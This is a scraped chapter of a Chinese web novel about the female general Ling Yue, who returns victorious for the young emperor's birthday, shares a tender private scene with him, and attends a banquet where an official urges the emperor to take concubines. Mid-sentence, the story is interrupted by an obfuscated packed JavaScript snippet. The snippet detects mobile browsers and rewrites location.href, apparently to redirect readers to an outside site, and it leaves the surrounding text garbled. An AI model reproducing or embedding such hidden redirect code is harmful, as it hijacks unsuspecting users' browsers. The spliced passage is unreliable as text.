77. 纳妃
作品:《武状元是个女子》 凌月眉心一动,立身长揖,弯唇回了声“多谢陛下”,便站着回禀军情。
“陛下,河东之乱已经平定,河东使君誓死担保,绝不会再生出不臣之心,”她抬起剔透的眼眸,望向龙座之上的江风之,拱手施礼间笑容极是生动,“这是臣献给陛下的生辰礼。”
“至于带回的信物,等到开宴之时再为陛下双手奉上。”
江风之早已将这半个月传回的军报翻来覆去读了无数遍,甚至已在脑海中清晰描绘她将河东异党彻底打服的神勇之姿,所以,他此刻并不觉得多么惊异,反将更多心神置于眼前女郎的神情状态之上。
她乌亮的青丝虽然挟着霜雪,呈现出些许凌乱之态,可谈起这半个月的征旅时,她的神采却那般奕奕,甚至比之离开前还要容光焕发。
长路多艰,风雪杳杳,竟更曾添了她的瑰丽。
他凝望了片刻,长舒一口气的同时,心中又不免漫开一丝难以言喻的微涩,轻声地道:“朕很喜欢这个礼物,凌将军有心了。”
尽管被封了爵位,可凌月身兼上将军之职,明言更喜欢“将军”之称,他便也依她之意。
凌月本在不动声色地打量着他,可因为礼官在场,她不敢看得太过名目张胆,掠目之间,只能大概看出他如玉净白的面容透着微红的血色,并无从前那般病态,可还未等她彻底放下心来,便又从他方才的话中觉察出了一丝不对。
眼前的青年虽然口中说着喜欢,可神情却并没有特别欣悦的意味,这让她不禁有些纳闷。
莫非,他对这个礼物并不满意?
思索之际,江风之的话音便又响起:“前日早朝才刚收到你凯旋的消息,不想此刻便已见你抵达宫城,凌将军此行立下汗马功劳,却这样风尘仆仆,未免太够辛苦,待会儿便先回府稍事歇息罢。”
这次,凌月听出了其中尤为明显的关切之意,当即拱手应道:“多谢陛下体恤,臣不累,已经等不及要为陛下庆贺生辰了。”
说话之间,悄悄朝他示意一眼殿侧肃手候立的礼官。
离京前她便已了解过,天子宴请百官的生辰宴历来都是在午时开办,而他让她回府歇息,言外之意便是要为她推延开宴的时辰,可她明白,一旦如此,百官必定有所异议,甚至可能会传出没必要的流言,节外生枝,这是她心中所不愿的,正因想见了这一点,她才这样昼夜不停,火急火燎地赶了回来。
江风之与她对视了一会儿,无奈轻叹,对礼官吩咐道:“去办吧,时辰不改。”说罢,又将视线投向凌月,毫不遮掩地道,“朕为你接风洗尘。”
凌月暗暗捏了把汗,只好回以臣子之礼,恭声道谢。
江风之眸色微凝,待礼官离去之后,便步下龙座,缓缓行至她的面前站定,视线一错不错地落在她的身上:“凌将军没有别的话要说,或者要问的么?”
那道如挟热度的目光让凌月心绪有些纷乱,她不由侧目瞟了一眼殿中侍从,龙椅一侧的崔翊自是见怪不怪,可其余内侍官毕竟在场,她心有顾虑,有些踌躇地垂下目光。
江风之朝身侧掠去视线,扬手道:“你们先退下罢,朕有要事与凌将军相谈。”
内侍们行礼应诺,迈着碎步离开了大殿,崔翊行在末尾,自觉地守在殿门一侧,眼观鼻鼻观心。
殿内空荡下来后,江风之静静地凝视着她,似乎仍在等她开口。
可凌月张口的刹那,忽然觉得千言万语涌到嘴边,竟不知道该以哪一句为开头才好。
江风之轻轻地叹了口气,抬手将她散落的乌丝捋到耳后,心疼地道:“头发都乱了。”
“我为你重新束发,可好?”
他的手指停在她的耳畔,微微温热,尽管分别了半月,他的神情语气却没有一丝一毫的陌生疏离,反而更添了几分缱绻的幽深。
凌月本欲自己出殿后到侧廊整理一番,毕竟待会儿便要出席百官相聚的生辰宴,这样的仪容确实有失肃整,眼下这样的声音细细入耳,她便也不愿看见他露出更加黯然的神情,点了点头:“好。”
他的眸光瞬时明亮些许,手掌沿着她束发的方向上移,轻轻按住冠身,另一只手拔出银簪后,银冠随即也被解开,乌发如瀑垂落在她的颊侧。
殿内只有他们二人,凌月自觉地伸手去接银冠,却见青年侧目凝望了几息,才将其递至她的掌心,她不由也低头看了一番,并未发现上面有什么血迹划痕之类的异常,思忖之间,她忽而福至心灵地想到,这顶发冠正是京师局势稳定之后他交还给她的,曾被静王送至珏王府的那顶。
恍然抬首之时,修长漂亮的雪指已经轻轻没入她的青丝,将她如墨的长发一一抚顺,清幽淡雅的檀香笼罩而下,沁入唇鼻,凌月不由屏住了呼吸。
随后,身影颀长的青年随之移步,绕到了她的身后,手指斜斜掠过她白皙的后颈,拢住披散在她肩脊的秀发,高高挽起,右手轻巧地挑起一束乌发,绕过余下的青丝,稳稳固定在她的发顶。
“阿月,发冠。”
低柔的气息喷洒在她的颈侧,惊起一片酥酥麻麻的痒感,凌月耳廓发热,飞快地将银冠往后递去。
冠身覆盖了绾就的发髻,银簪随即贯穿而过,他重新来到她的面前,垂眸看了看,轻弯唇角道:“好了。”
凌月微微偏头,晃了晃脑袋,马尾轻摇,束冠处既不会紧绷不适,亦不会松散位移,抬手一触,发周亦很是平整,她不由诧异地抬头看他:“……陛下是第一次为人挽发吗?”
这样行云流水一气呵成,怎么看也不像毫无经验的生手。
“我……”江风之薄唇轻启,可对上她极是好奇的视线,声音却又戛然而止,抿了抿唇,微微偏移了视线。
“?”凌月一头雾水,正待继续追问,青年已将话题轻轻揭过。
“宴会很快便会开始,待结束之后,你可否留在宫中?”他的目色如星摇烁,闪动着清晰可见的期盼,“在寝殿,你我便可心无旁骛地说说话。”
自他登基以来,需要处理的国事多不胜数,她与他皆是朝乾夕惕,分身乏术,少有独处的机会,更遑论她还自请去了河东平乱,与他远隔千里,音容不见,今日之前他还觉得时日流转得实在太慢,可与她独处一室的这一刻,他却又不满足于时间的骤然飞逝,心中溢满想要留住她的强烈渴望。
然而,面对着年轻天子灼灼的眼神,凌月的面上却浮现出一抹浓重的为难,声音低了下去:“这样……恐怕不妥。”
她犹豫了片刻,仍是坦诚地看着他道:“臣特地赶在午时之前回到京城参加宫宴,正是为了避免百官非议,节外生枝,有损于新政权的巩固,所以……”
江风之的眸光黯淡下去,落寞地牵了牵唇角:“所以,为了不生出流言蜚语,你便不再与我亲近了么?”
“不是不是,”凌月忙摆手道,“只是……臣在众目睽睽之下去往陛下的寝殿私谈,只怕不好。”
可若是夜里偷偷前去,又像是私会一般,私会的理由,也不再是从前那般为了公事,而是纯粹出于私情。
“那,我去凌府。”他似是明白她的顾虑,不甚介意地道,“一个人去。”
“啊?”凌月乌瞳微转,仍是有些头疼,自她被封爵以来,搬入御赐的离宫城更近的凌府,收养的婢女也多了许多,正是爱谈风月逸事的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15224241|147534||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
年纪。
他的眸中划过一道失落:“还是不行么?”
凌月咬了咬下唇:“我,臣是怕……”
如今他们的身份虽然各自皆上了一层高楼,可却是从曾经的上峰下属,变成了更加敏感,更需慎重的君臣之隔。
而这样的关系所会引发的流言,与她曾因女子身份所经受的流言蜚语却又不同,曾经的冷言冷语她只消以实力和功绩冲破便是,可对于他们君臣关系的风言风语,却可能会指向她不愿意看见的局面。
他注视着她的隐忍难言的样子,神情有些自苦:“你怕我会将你圈在宫中,不能领兵,是不是?”
凌月一怔,眼睫略微垂敛些许,缓声道:“凌月是怕,陛下在面临那样的抉择之时,会陷于左右为难的境地。”
他的目光渐转凝肃:“……你不信我?”
“不是不信,只是……”
凌月正斟酌着恰当的措辞,可候于门外的崔翊忽而快步踏进殿来,紧声禀道:“陛下,礼官来报,生辰宴的诸项事宜已经准备完毕,候在丹凤门外的官员也已陆续前往麟德殿恭候开宴,陛下也该起驾回到寝殿,更换礼服了。”
眼见正事在即,并非深谈的良机,凌月低叹一声,躬身行了一个告退之礼。
江风之眸色幽寂地看她一眼,才对崔翊道:“走吧。”
*
午时,麟德殿外金磬轻响,身着衮冕华袍的帝王缓缓步入殿上正位,崔翊与宋岩伴于左右,百官俯首,山呼万岁。
降谕平身之后,官员们依照官阶依次落座,凌月坐于百官前列,待欧阳太后与长公主等皇室宗亲赠完贺礼之后,便起身出列,恭贺天子生辰,并将从河东带回的一柄古剑作为贺礼呈献上去。
她双手托剑,垂首道:“微臣此次前往河东平乱,大获全胜,河东使君震于君威,歃血归服,并向陛下献上这柄上古名匠所铸的青铜宝剑‘赤霄’,韩使君以此剑为誓,从此一心一意追随陛下,若是再生异心,陛下随时可以此剑取他项上人头,收回河东之权,以肃朝野。”
崔翊接过青铜古剑,递交至江风之的面前,天子抬手接过,拔剑出鞘,古朴厚重的铿锵之音涤荡心神,耀射而出的青光让大殿之内惊叹四起。
天子以目光抚过剑身,停了片刻,才收剑入鞘,端起案上玉盏道:“凌将军平定山河,劳苦功高,朕能得此巾帼猛将,心中快慰,纵倾所有,难表佩重之情。便以此盏雪中春信,敬凌将军一杯,再赐黄金万两,锦缎千匹,赤灵芝十朵,夜明珠两颗,崇仁坊宅邸一座。”
殿中响起吸气之音,凌月微微一怔,心中亦不免泛起波澜,不是因为这份赏赐的贵重程度,而是因为这般赏赐发生在他们才刚生出阂隙之后。她明白,他想在众臣面前昭显对她的爱重,并且,他必定极是信任她能够妥善处理这笔厚重的赏赐,才会如此豪掷,想到此处,她心绪难平地叩首谢恩,接过了内侍端来的酒盏。
她与他举杯相对,眸光交错,将杯中之酒一饮而尽。
回到席位后,便是其他官员进献各色墨宝丹青,奇花异草,琳琅满目令人目不暇接。
再之后,便是觥筹交错,丝竹燕舞,她在举杯啜饮之间抬眸望向殿首之人,可他的视线却只落向殿中娉婷流舞的身影,静静地饮着杯中之酒。
酒酣之时,一名四品大臣忽而立起身来,晃着身子朝着殿首的帝王举杯:“陛下龙章凤姿,芝兰玉树,又正值弱冠之年,正是尽享春华的大好年纪,可如今陛下后宫空虚,竟无一名服侍的佳丽,以臣拙见,陛下不若趁此喜宴之日,再添一喜,择一吉日开展选秀,选纳贤良淑德的京城贵女,早享齐人之福。”